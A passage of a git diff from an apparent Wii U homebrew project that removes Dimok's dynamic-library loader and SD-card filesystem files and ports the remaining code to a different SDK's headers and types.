-//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Loader functions (not real rpl) -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(int, LiWaitIopComplete, int unknown_syscall_arg_r3, int * remaining_bytes); -EXPORT_DECL(int, LiWaitIopCompleteWithInterrupts, int unknown_syscall_arg_r3, int * remaining_bytes); - -void InitOSFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Lib handle functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - EXPORT_FUNC_WRITE(OSDynLoad_Acquire, (int (*)(const char*, unsigned *))OS_SPECIFICS->addr_OSDynLoad_Acquire); - EXPORT_FUNC_WRITE(OSDynLoad_FindExport, (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport); - - OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); - - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! System functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OS_FIND_EXPORT(coreinit_handle, OSFatal); - OS_FIND_EXPORT(coreinit_handle, OSGetTitleID); - OS_FIND_EXPORT(coreinit_handle, OSSetExceptionCallback); - OS_FIND_EXPORT(coreinit_handle, DCFlushRange); - OS_FIND_EXPORT(coreinit_handle, ICInvalidateRange); - OS_FIND_EXPORT(coreinit_handle, OSEffectiveToPhysical); - OS_FIND_EXPORT(coreinit_handle, __os_snprintf); - OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &__Exit); - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Thread functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OS_FIND_EXPORT(coreinit_handle, OSCreateThread); - OS_FIND_EXPORT(coreinit_handle, OSResumeThread); - OS_FIND_EXPORT(coreinit_handle, OSSuspendThread); - OS_FIND_EXPORT(coreinit_handle, OSIsThreadTerminated); - OS_FIND_EXPORT(coreinit_handle, OSIsThreadSuspended); - OS_FIND_EXPORT(coreinit_handle, OSJoinThread); - OS_FIND_EXPORT(coreinit_handle, OSSetThreadPriority); - OS_FIND_EXPORT(coreinit_handle, OSDetachThread); - OS_FIND_EXPORT(coreinit_handle, OSSleepTicks); - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Mutex functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OS_FIND_EXPORT(coreinit_handle, OSInitMutex); - OS_FIND_EXPORT(coreinit_handle, OSLockMutex); - OS_FIND_EXPORT(coreinit_handle, OSUnlockMutex); - OS_FIND_EXPORT(coreinit_handle, OSTryLockMutex); - - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Memory functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx); - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeap", &pMEMAllocFromDefaultHeap); - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap); - - OS_FIND_EXPORT(coreinit_handle, MEMGetBaseHeapHandle); - OS_FIND_EXPORT(coreinit_handle, MEMGetAllocatableSizeForFrmHeapEx); - OS_FIND_EXPORT(coreinit_handle, MEMAllocFromFrmHeapEx); - OS_FIND_EXPORT(coreinit_handle, MEMFreeToFrmHeap); - OS_FIND_EXPORT(coreinit_handle, MEMAllocFromExpHeapEx); - OS_FIND_EXPORT(coreinit_handle, MEMCreateExpHeapEx); - OS_FIND_EXPORT(coreinit_handle, MEMDestroyExpHeap); - OS_FIND_EXPORT(coreinit_handle, MEMFreeToExpHeap); -} - diff --git a/src/dynamic_libs/os_functions.h b/src/dynamic_libs/os_functions.h deleted file mode 100644 index d4f9eda..0000000 --- a/src/dynamic_libs/os_functions.h +++ /dev/null @@ -1,119 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __OS_FUNCTIONS_H_ -#define __OS_FUNCTIONS_H_ - -#include -#include "common/os_defs.h" - -#ifdef __cplusplus -extern "C" { -#endif - -#define BUS_SPEED 248625000 -#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4)) -#define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000) -#define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000) - -#define usleep(usecs) OSSleepTicks(MICROSECS_TO_TICKS(usecs)) -#define sleep(secs) OSSleepTicks(SECS_TO_TICKS(secs)) - -#define FLUSH_DATA_BLOCK(addr) asm volatile("dcbf 0, %0; sync" : : "r"(((addr) & ~31))) -#define INVAL_DATA_BLOCK(addr) asm volatile("dcbi 0, %0; sync" : : "r"(((addr) & ~31))) - -#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__) __attribute__((section(".data"))) = 0; -#define EXPORT_VAR(type, var) type var __attribute__((section(".data"))); - - -#define EXPORT_FUNC_WRITE(func, val) *(u32*)(((u32)&func) + 0) = (u32)val - -#define OS_FIND_EXPORT(handle, func) funcPointer = 0; \ - OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \ - if(!funcPointer) \ - OSFatal("Function " # func " is NULL"); \ - EXPORT_FUNC_WRITE(func, funcPointer); - -#define OS_FIND_EXPORT_EX(handle, func, func_p) \ - funcPointer = 0; \ - OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \ - if(!funcPointer) \ - OSFatal("Function " # func " is NULL"); \ - EXPORT_FUNC_WRITE(func_p, funcPointer); - -#define OS_MUTEX_SIZE 44 - -/* Handle for coreinit */ -extern unsigned int coreinit_handle; -void InitOSFunctionPointers(void); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Lib handle functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern int (* OSDynLoad_Acquire)(const char* rpl, u32 *handle); -extern int (* OSDynLoad_FindExport)(u32 handle, int isdata, const char *symbol, void *address); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Thread functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern int (* OSCreateThread)(void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr); -extern int (* OSResumeThread)(void *thread); -extern int (* OSSuspendThread)(void *thread); -extern int (* OSIsThreadTerminated)(void *thread); -extern int (* OSIsThreadSuspended)(void *thread); -extern int (* OSJoinThread)(void * thread, int * ret_val); -extern int (* OSSetThreadPriority)(void * thread, int priority); -extern void (* OSDetachThread)(void * thread); -extern void (* OSSleepTicks)(u64 ticks); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Mutex functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern void (* OSInitMutex)(void* mutex); -extern void (* OSLockMutex)(void* mutex); -extern void (* OSUnlockMutex)(void* mutex); -extern int (* OSTryLockMutex)(void* mutex); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! System functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern u64 (* OSGetTitleID)(void); -extern void (* __Exit)(void); -extern void (* OSFatal)(const char* msg); -extern void (* DCFlushRange)(const void *addr, u32 length); -extern void (* ICInvalidateRange)(const void *addr, u32 length); -extern void* (* OSEffectiveToPhysical)(const void*); -extern int (* __os_snprintf)(char* s, int n, const char * format, ...); - -typedef unsigned char (*exception_callback)(void * interruptedContext); -extern void (* OSSetExceptionCallback)(u8 exceptionType, exception_callback newCallback); - -extern int (* LiWaitIopComplete)(int unknown_syscall_arg_r3, int * remaining_bytes); -extern int (* LiWaitIopCompleteWithInterrupts)(int unknown_syscall_arg_r3, int * remaining_bytes); - - -#ifdef __cplusplus -} -#endif - -#endif // __OS_FUNCTIONS_H_ diff --git a/src/dynamic_libs/padscore_functions.c b/src/dynamic_libs/padscore_functions.c index c51764f..698ef63 100644 --- a/src/dynamic_libs/padscore_functions.c +++ b/src/dynamic_libs/padscore_functions.c @@ -21,7 +21,7 @@ * 3. This notice may not be removed or altered from any source * distribution. ***************************************************************************/ -#include "os_functions.h" +#include "exports.h" #include "padscore_functions.h" EXPORT_DECL(void, KPADInit, void); @@ -34,7 +34,7 @@ EXPORT_DECL(s32, KPADRead, s32 chan, void * data, u32 size); void InitPadScoreFunctionPointers(void) { unsigned int *funcPointer = 0; - unsigned int padscore_handle; + OSDynLoadModule padscore_handle; OSDynLoad_Acquire("padscore.rpl", &padscore_handle); OS_FIND_EXPORT(padscore_handle, KPADInit); diff --git a/src/dynamic_libs/padscore_functions.h b/src/dynamic_libs/padscore_functions.h index 26eda1a..68cf989 100644 --- a/src/dynamic_libs/padscore_functions.h +++ b/src/dynamic_libs/padscore_functions.h @@ -28,7 +28,7 @@ extern "C" { #endif -#include +#include "common/types.h" #define WPAD_BUTTON_LEFT 0x0001 #define WPAD_BUTTON_RIGHT 0x0002 diff --git a/src/dynamic_libs/socket_functions.c b/src/dynamic_libs/socket_functions.c deleted file mode 100644 index aac9e8d..0000000 --- a/src/dynamic_libs/socket_functions.c +++ /dev/null @@ -1,67 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "socket_functions.h" - -u32 hostIpAddress = 0; - -EXPORT_DECL(void, socket_lib_init, void); -EXPORT_DECL(int, socket, int domain, int type, int protocol); -EXPORT_DECL(int, socketclose, int s); -EXPORT_DECL(int, shutdown, int s, int how); -EXPORT_DECL(int, connect, int s, void *addr, int addrlen); -EXPORT_DECL(int, bind, s32 s,struct sockaddr *name,s32 namelen); -EXPORT_DECL(int, listen, s32 s,u32 backlog); -EXPORT_DECL(int, accept, s32 s,struct sockaddr *addr,s32 *addrlen); -EXPORT_DECL(int, send, int s, const void *buffer, int size, int flags); -EXPORT_DECL(int, recv, int s, void *buffer, int size, int flags); -EXPORT_DECL(int, sendto, int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len); -EXPORT_DECL(int, setsockopt, int s, int level, int optname, void *optval, int optlen); -EXPORT_DECL(char *, inet_ntoa, struct in_addr in); -EXPORT_DECL(int, inet_aton, const char *cp, struct in_addr *inp); - -void InitSocketFunctionPointers(void) -{ - unsigned int nsysnet_handle; - unsigned int *funcPointer = 0; - OSDynLoad_Acquire("nsysnet.rpl", &nsysnet_handle); - - OS_FIND_EXPORT(nsysnet_handle, socket_lib_init); - OS_FIND_EXPORT(nsysnet_handle, socket); - OS_FIND_EXPORT(nsysnet_handle, socketclose); - OS_FIND_EXPORT(nsysnet_handle, shutdown); - OS_FIND_EXPORT(nsysnet_handle, connect); - OS_FIND_EXPORT(nsysnet_handle, bind); - OS_FIND_EXPORT(nsysnet_handle, listen); - OS_FIND_EXPORT(nsysnet_handle, accept); - OS_FIND_EXPORT(nsysnet_handle, send); - OS_FIND_EXPORT(nsysnet_handle, recv); - OS_FIND_EXPORT(nsysnet_handle, sendto); - OS_FIND_EXPORT(nsysnet_handle, setsockopt); - OS_FIND_EXPORT(nsysnet_handle, inet_ntoa); - OS_FIND_EXPORT(nsysnet_handle, inet_aton); - - socket_lib_init(); -} - diff --git a/src/dynamic_libs/socket_functions.h b/src/dynamic_libs/socket_functions.h deleted file mode 100644 index f954423..0000000 --- a/src/dynamic_libs/socket_functions.h +++ /dev/null @@ -1,99 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __SOCKET_FUNCTIONS_H_ -#define __SOCKET_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -#define INADDR_ANY 0 - -#define AF_INET 2 - -#define SHUT_RD 0 -#define SHUT_WR 1 -#define SHUT_RDWR 2 - -#define SOCK_STREAM 1 -#define SOCK_DGRAM 2 - -#define IPPROTO_IP 0 -#define IPPROTO_TCP 6 -#define IPPROTO_UDP 17 - -#define TCP_NODELAY 0x2004 - -#define SOL_SOCKET -1 -#define SO_REUSEADDR 0x0004 -#define SO_NONBLOCK 0x1016 -#define SO_MYADDR 0x1013 - -#define htonl(x) x -#define htons(x) x -#define ntohl(x) x -#define ntohs(x) x - - -struct in_addr { - unsigned int s_addr; -}; -struct sockaddr_in { - short sin_family; - unsigned short sin_port; - struct in_addr sin_addr; - char sin_zero[8]; -}; - -struct sockaddr -{ - unsigned short sa_family; - char sa_data[14]; -}; - -void InitSocketFunctionPointers(void); - -extern void (*socket_lib_init)(void); -extern int (*socket)(int domain, int type, int protocol); -extern int (*socketclose)(int s); -extern int (*shutdown)(int s, int how); -extern int (*connect)(int s, void *addr, int addrlen); -extern int (*bind)(s32 s,struct sockaddr *name,s32 namelen); -extern int (*listen)(s32 s,u32 backlog); -extern int (*accept)(s32 s,struct sockaddr *addr,s32 *addrlen); -extern int (*send)(int s, const void *buffer, int size, int flags); -extern int (*recv)(int s, void *buffer, int size, int flags); -extern int (*sendto)(int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len); -extern int (*setsockopt)(int s, int level, int optname, void *optval, int optlen); - -extern char * (*inet_ntoa)(struct in_addr in); -extern int (*inet_aton)(const char *cp, struct in_addr *inp); - -#ifdef __cplusplus -} -#endif - -#endif // __SOCKET_FUNCTIONS_H_ diff --git a/src/dynamic_libs/sys_functions.c b/src/dynamic_libs/sys_functions.c deleted file mode 100644 index ea7649e..0000000 --- a/src/dynamic_libs/sys_functions.c +++ /dev/null @@ -1,40 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" - -EXPORT_DECL(void, _SYSLaunchTitleByPathFromLauncher, const char* path, int len, int zero); -EXPORT_DECL(int, SYSRelaunchTitle, int argc, char* argv); -EXPORT_DECL(int, SYSLaunchMenu, void); - -void InitSysFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - unsigned int sysapp_handle; - OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); - - OS_FIND_EXPORT(sysapp_handle, _SYSLaunchTitleByPathFromLauncher); - OS_FIND_EXPORT(sysapp_handle, SYSRelaunchTitle); - OS_FIND_EXPORT(sysapp_handle, SYSLaunchMenu); -} - diff --git a/src/dynamic_libs/sys_functions.h b/src/dynamic_libs/sys_functions.h deleted file mode 100644 index 18c9065..0000000 --- a/src/dynamic_libs/sys_functions.h +++ /dev/null @@ -1,42 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __SYS_FUNCTIONS_H_ -#define __SYS_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -void InitSysFunctionPointers(void); - -extern void(*_SYSLaunchTitleByPathFromLauncher)(const char* path, int len, int zero); -extern int (* SYSRelaunchTitle)(int argc, char* argv); -extern int (* SYSLaunchMenu)(void); - - -#ifdef __cplusplus -} -#endif - -#endif // __SYS_FUNCTIONS_H_ diff --git a/src/dynamic_libs/vpad_functions.c b/src/dynamic_libs/vpad_functions.c deleted file mode 100644 index 06f9400..0000000 --- a/src/dynamic_libs/vpad_functions.c +++ /dev/null @@ -1,37 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "vpad_functions.h" - -EXPORT_DECL(void, VPADRead, int chan, VPADData *buffer, u32 buffer_size, s32 *error); - -void InitVPadFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - unsigned int vpad_handle; - OSDynLoad_Acquire("vpad.rpl", &vpad_handle); - - OS_FIND_EXPORT(vpad_handle, VPADRead); -} - diff --git a/src/dynamic_libs/vpad_functions.h b/src/dynamic_libs/vpad_functions.h deleted file mode 100644 index ea8e9d8..0000000 --- a/src/dynamic_libs/vpad_functions.h +++ /dev/null @@ -1,101 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __VPAD_FUNCTIONS_H_ -#define __VPAD_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -#define VPAD_BUTTON_A 0x8000 -#define VPAD_BUTTON_B 0x4000 -#define VPAD_BUTTON_X 0x2000 -#define VPAD_BUTTON_Y 0x1000 -#define VPAD_BUTTON_LEFT 0x0800 -#define VPAD_BUTTON_RIGHT 0x0400 -#define VPAD_BUTTON_UP 0x0200 -#define VPAD_BUTTON_DOWN 0x0100 -#define VPAD_BUTTON_ZL 0x0080 -#define VPAD_BUTTON_ZR 0x0040 -#define VPAD_BUTTON_L 0x0020 -#define VPAD_BUTTON_R 0x0010 -#define VPAD_BUTTON_PLUS 0x0008 -#define VPAD_BUTTON_MINUS 0x0004 -#define VPAD_BUTTON_HOME 0x0002 -#define VPAD_BUTTON_SYNC 0x0001 -#define VPAD_BUTTON_STICK_R 0x00020000 -#define VPAD_BUTTON_STICK_L 0x00040000 -#define VPAD_BUTTON_TV 0x00010000 - -#define VPAD_STICK_R_EMULATION_LEFT 0x04000000 -#define VPAD_STICK_R_EMULATION_RIGHT 0x02000000 -#define VPAD_STICK_R_EMULATION_UP 0x01000000 -#define VPAD_STICK_R_EMULATION_DOWN 0x00800000 - -#define VPAD_STICK_L_EMULATION_LEFT 0x40000000 -#define VPAD_STICK_L_EMULATION_RIGHT 0x20000000 -#define VPAD_STICK_L_EMULATION_UP 0x10000000 -#define VPAD_STICK_L_EMULATION_DOWN 0x08000000 - - -typedef struct -{ - f32 x,y; -} Vec2D; - -typedef struct -{ - u16 x, y; /* Touch coordinates */ - u16 touched; /* 1 = Touched, 0 = Not touched */ - u16 invalid; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */ -} VPADTPData; - -typedef struct -{ - u32 btns_h; /* Held buttons */ - u32 btns_d; /* Buttons that are pressed at that instant */ - u32 btns_r; /* Released buttons */ - Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */ - char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */ - VPADTPData tpdata; /* Normal touchscreen data */ - VPADTPData tpdata1; /* Modified touchscreen data 1 */ - VPADTPData tpdata2; /* Modified touchscreen data 2 */ - char unknown6a[0xa0 - 0x6a]; - uint8_t volume; - uint8_t battery; /* 0 to 6 */ - uint8_t unk_volume; /* One less than volume */ - char unknowna4[0xac - 0xa4]; -} VPADData; - -void InitVPadFunctionPointers(void); - -extern void (* VPADRead)(int chan, VPADData *buffer, u32 buffer_size, s32 *error); - -#ifdef __cplusplus -} -#endif - -#endif // __VPAD_FUNCTIONS_H_ diff --git a/src/entry.c b/src/entry.c index bff13a0..491f4f9 100644 --- a/src/entry.c +++ b/src/entry.c @@ -1,17 +1,17 @@ #include -#include "dynamic_libs/os_functions.h" -#include "dynamic_libs/sys_functions.h" +#include #include "common/common.h" #include "utils/utils.h" #include "main.h" static volatile uint8_t ucRunOnce = 0; -int __entry_menu(int argc, char **argv) +int main(int argc, char **argv) { //! ******************************************************************* //! * Check if our application is started * //! ******************************************************************* +/* if (OSGetTitleID != 0 && OSGetTitleID() != 0x000500101004A200 && // mii maker eur OSGetTitleID() != 0x000500101004A100 && // mii maker usa @@ -23,7 +23,7 @@ int __entry_menu(int argc, char **argv) return EXIT_SUCCESS; } ucRunOnce = 1; - +*/ //! ******************************************************************* //! * Jump to our application * //! ******************************************************************* diff --git a/src/fs/CFile.hpp b/src/fs/CFile.hpp index 1580eb3..0203162 100644 --- a/src/fs/CFile.hpp +++ b/src/fs/CFile.hpp @@ -6,7 +6,7 @@ #include #include #include -#include +#include "common/types.h" class CFile { diff --git a/src/fs/fs_utils.c b/src/fs/fs_utils.c index efa2e55..ffadd89 100644 --- a/src/fs/fs_utils.c +++ b/src/fs/fs_utils.c @@ -3,15 +3,15 @@ #include #include #include -#include "common/fs_defs.h" -#include "dynamic_libs/fs_functions.h" +#include +#define FS_MAX_MOUNTPATH_SIZE 128 int MountFS(void *pClient, void *pCmd, char **mount_path) { int result = -1; - void *mountSrc = malloc(FS_MOUNT_SOURCE_SIZE); + void *mountSrc = malloc(sizeof(FSMountSource)); if(!mountSrc) return -3; @@ -21,11 +21,11 @@ int MountFS(void *pClient, void *pCmd, char **mount_path) return -4; } - memset(mountSrc, 0, FS_MOUNT_SOURCE_SIZE); + memset(mountSrc, 0, sizeof(FSMountSource)); memset(mountPath, 0, FS_MAX_MOUNTPATH_SIZE); // Mount sdcard - if (FSGetMountSource(pClient, pCmd, FS_SOURCETYPE_EXTERNAL, mountSrc, -1) == 0) + if (FSGetMountSource(pClient, pCmd, FS_MOUNT_SOURCE_SD, mountSrc, -1) == 0) { result = FSMount(pClient, pCmd, mountSrc, mountPath, FS_MAX_MOUNTPATH_SIZE, -1); if((result == 0) && mount_path) { diff --git a/src/fs/fs_utils.h b/src/fs/fs_utils.h index 7022695..5d4a05b 100644 --- a/src/fs/fs_utils.h +++ b/src/fs/fs_utils.h @@ -5,7 +5,7 @@ extern "C" { #endif -#include +#include "common/types.h" int MountFS(void *pClient, void *pCmd, char **mount_path); int UmountFS(void *pClient, void *pCmd, const char *mountPath); diff --git a/src/fs/sd_fat_devoptab.c b/src/fs/sd_fat_devoptab.c deleted file mode 100644 index f5b278b..0000000 --- a/src/fs/sd_fat_devoptab.c +++ /dev/null @@ -1,1019 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include -#include "dynamic_libs/fs_functions.h" -#include "dynamic_libs/os_functions.h" -#include "fs_utils.h" - -#define FS_ALIGNMENT 0x40 -#define FS_ALIGN(x) (((x) + FS_ALIGNMENT - 1) & ~(FS_ALIGNMENT - 1)) - -typedef struct _sd_fat_private_t { - char *mount_path; - void *pClient; - void *pCmd; - void *pMutex; -} sd_fat_private_t; - -typedef struct _sd_fat_file_state_t { - sd_fat_private_t *dev; - int fd; /* File descriptor */ - int flags; /* Opening flags */ - bool read; /* True if allowed to read from file */ - bool write; /* True if allowed to write to file */ - bool append; /* True if allowed to append to file */ - u64 pos; /* Current position within the file (in bytes) */ - u64 len; /* Total length of the file (in bytes) */ - struct _sd_fat_file_state_t *prevOpenFile; /* The previous entry in a double-linked FILO list of open files */ - struct _sd_fat_file_state_t *nextOpenFile; /* The next entry in a double-linked FILO list of open files */ -} sd_fat_file_state_t; - -typedef struct _sd_fat_dir_entry_t { - sd_fat_private_t *dev; - int dirHandle; -} sd_fat_dir_entry_t; - -static sd_fat_private_t *sd_fat_get_device_data(const char *path) -{ - const devoptab_t *devoptab = NULL; - char name[128] = {0}; - int i; - - // Get the device name from the path - strncpy(name, path, 127); - strtok(name, ":/"); - - // Search the devoptab table for the specified device name - // NOTE: We do this manually due to a 'bug' in GetDeviceOpTab - // which ignores names with suffixes and causes names - // like "ntfs" and "ntfs1" to be seen as equals - for (i = 3; i < STD_MAX; i++) { - devoptab = devoptab_list[i]; - if (devoptab && devoptab->name) { - if (strcmp(name, devoptab->name) == 0) { - return (sd_fat_private_t *)devoptab->deviceData; - } - } - } - - return NULL; -} - -static char *sd_fat_real_path (const char *path, sd_fat_private_t *dev) -{ - // Sanity check - if (!path) - return NULL; - - // Move the path pointer to the start of the actual path - if (strchr(path, ':') != NULL) { - path = strchr(path, ':') + 1; - } - - int mount_len = strlen(dev->mount_path); - - char *new_name = (char*)malloc(mount_len + strlen(path) + 1); - if(new_name) { - strcpy(new_name, dev->mount_path); - strcpy(new_name + mount_len, path); - return new_name; - } - return new_name; -} - -static int sd_fat_open_r (struct _reent *r, void *fileStruct, const char *path, int flags, int mode) -{ - sd_fat_private_t *dev = sd_fat_get_device_data(path); - if(!dev) { - r->_errno = ENODEV; - return -1; - } - - sd_fat_file_state_t *file = (sd_fat_file_state_t *)fileStruct; - - file->dev = dev; - // Determine which mode the file is opened for - file->flags = flags; - - const char *mode_str; - - if ((flags & 0x03) == O_RDONLY) { - file->read = true; - file->write = false; - file->append = false; - mode_str = "r"; - } else if ((flags & 0x03) == O_WRONLY) { - file->read = false; - file->write = true; - file->append = (flags & O_APPEND); - mode_str = file->append ? "a" : "w"; - } else if ((flags & 0x03) == O_RDWR) { - file->read = true; - file->write = true; - file->append = (flags & O_APPEND); - mode_str = file->append ? "a+" : "r+"; - } else { - r->_errno = EACCES; - return -1; - } - - int fd = -1; - - OSLockMutex(dev->pMutex); - - char *real_path = sd_fat_real_path(path, dev); - if(!path) { - r->_errno = ENOMEM; - OSUnlockMutex(dev->pMutex); - return -1; - } - - int result = FSOpenFile(dev->pClient, dev->pCmd, real_path, mode_str, &fd, -1); - - free(real_path); - - if(result == 0) - { - FSStat stats; - result = FSGetStatFile(dev->pClient, dev->pCmd, fd, &stats, -1); - if(result != 0) { - FSCloseFile(dev->pClient, dev->pCmd, fd, -1); - r->_errno = result; - OSUnlockMutex(dev->pMutex); - return -1; - } - file->fd = fd; - file->pos = 0; - file->len = stats.size; - OSUnlockMutex(dev->pMutex); - return (int)file; - } - - r->_errno = result; - OSUnlockMutex(dev->pMutex); - return -1; -} - - -static int sd_fat_close_r (struct _reent *r, int fd) -{ - sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; - if(!file->dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(file->dev->pMutex); - - int result = FSCloseFile(file->dev->pClient, file->dev->pCmd, file->fd, -1); - - OSUnlockMutex(file->dev->pMutex); - - if(result < 0) - { - r->_errno = result; - return -1; - } - return 0; -} - -static off_t sd_fat_seek_r (struct _reent *r, int fd, off_t pos, int dir) -{ - sd_fat_file_state_t *file = 